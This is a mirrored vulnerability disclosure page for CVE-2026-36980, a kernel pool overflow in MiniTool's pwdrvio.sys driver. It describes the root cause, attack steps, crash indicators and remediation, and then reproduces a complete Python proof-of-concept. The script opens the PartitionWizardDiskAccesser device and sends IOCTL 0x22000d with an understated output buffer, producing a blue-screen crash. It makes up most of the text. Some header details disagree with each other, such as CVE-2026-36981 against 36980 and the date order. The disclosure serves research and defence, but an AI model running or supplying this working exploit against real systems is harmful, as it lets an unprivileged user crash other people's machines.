MiniTool pwdrvio.sys Kernel Driver Buffer Overflow — Local DoS/BSOD (CVE-2026-36980)

by canomer · 2026-07-05

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-05-10
Author / Researcher	canomer
CVE / Advisory	CVE-2026-36980
Category	binary
Severity	Medium
CVSS Score	Not specified in source
Status	PoC
Tags	minitool, kernel-driver, ioctl, bsod, dos, pool-corruption, windows
Related	N/A

Affected Target

Field	Value
Software / System	MiniTool pwdrvio.sys kernel driver
Versions Affected	Not specified in source
Language / Platform	Python PoC
Authentication Required	Local, unprivileged user
Network Access Required	No

Summary

MiniTool’s pwdrvio.sys kernel driver contains a buffer overflow in its IOCTL handler. An unprivileged local attacker can send a crafted IOCTL request that corrupts kernel pool memory, triggering an immediate system crash (BSOD) — a local denial-of-service condition. Coordinated disclosure ran from vendor notification in February 2026 through public disclosure in May 2026 after acknowledgment and a CVE request to MITRE.

Vulnerability Details

Root Cause

The pwdrvio.sys IOCTL handler does not properly validate the size/contents of an attacker-supplied input buffer, allowing kernel pool memory corruption.

Attack Vector

As a local, unprivileged user, open a handle to the pwdrvio.sys device.
Send a crafted IOCTL request with an oversized/malformed input buffer.
The driver’s handler overflows a kernel pool buffer, corrupting adjacent kernel memory and crashing the system.

Impact

Any local unprivileged user can crash the system (BSOD) by sending a single crafted IOCTL request.

Environment / Lab Setup

Target:   Windows system with the vulnerable MiniTool pwdrvio.sys driver loaded
Attacker: Python 3, local unprivileged Windows account

Proof of Concept

PoC Script

See DoS_PoC.py in this folder.

1
python3 DoS_PoC.py

Opens the pwdrvio.sys device and sends the crafted IOCTL request that corrupts kernel pool memory, crashing the system.

Detection & Indicators of Compromise

Signs of compromise:

System crash dumps (BSOD) with pwdrvio.sys in the call stack

Remediation

Action	Detail
Primary fix	Update to a patched MiniTool driver release once the vendor issues one
Interim mitigation	Remove or restrict loading of pwdrvio.sys where MiniTool software is not actively required

References

Source repository

Notes

Mirrored from https://github.com/canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC on 2026-07-05.

DoS_PoC.py

python raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
"""
Exploit Title: CVE-2026-36981 Minitool pwrdvio.sys Kernel BSOD
Date: 2026-02-09
Exploit Author: patchmeifucan - patchmeifucan.com
Vendor Homepage: https://github.com/canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC
Software Link: https://www.minitool.com/partition-manager/
Version: <=13.6
Tested on: Windows 10 / Windows 11 / x86_64-w64-mingw32-g++ (GCC) 15-win32
CVE : CVE-2026-36980
Run Command : ~$ Dos_PoC.py
"""
import ctypes
from ctypes import wintypes

# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, 
                                     wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[*] MiniTool pwdrvio.sys DoS Exploit")
    print("[*] Triggering Blue Screen of Death...")
    
    # Open device
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Failed to open driver")
        print("[-] Ensure MiniTool Partition Wizard is installed")
        return
    
    print("[+] Driver opened successfully")
    
    # Vulnerable IOCTL code
    TARGET_IOCTL = 0x22000d
    
    # Input buffer: 1024 bytes of 0xFF
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    
    # Output buffer: Only 4 bytes (but claim 8192!)
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value → Overflow!
    bytes_returned = wintypes.DWORD(0)
    
    print("[!] Sending malicious IOCTL...")
    print("[!] System will crash in 3...2...1...")
    
    # Trigger buffer overflow → BSOD
    kernel32.DeviceIoControl(
        handle, 
        TARGET_IOCTL, 
        input_buf, 
        1024, 
        real_output_buffer, 
        fake_output_length,  # ← Vulnerability trigger
        ctypes.byref(bytes_returned), 
        None
    )
    
    # This line will never execute
    print("[*] If you see this, the exploit failed")

if __name__ == "__main__":
    trigger_bsod()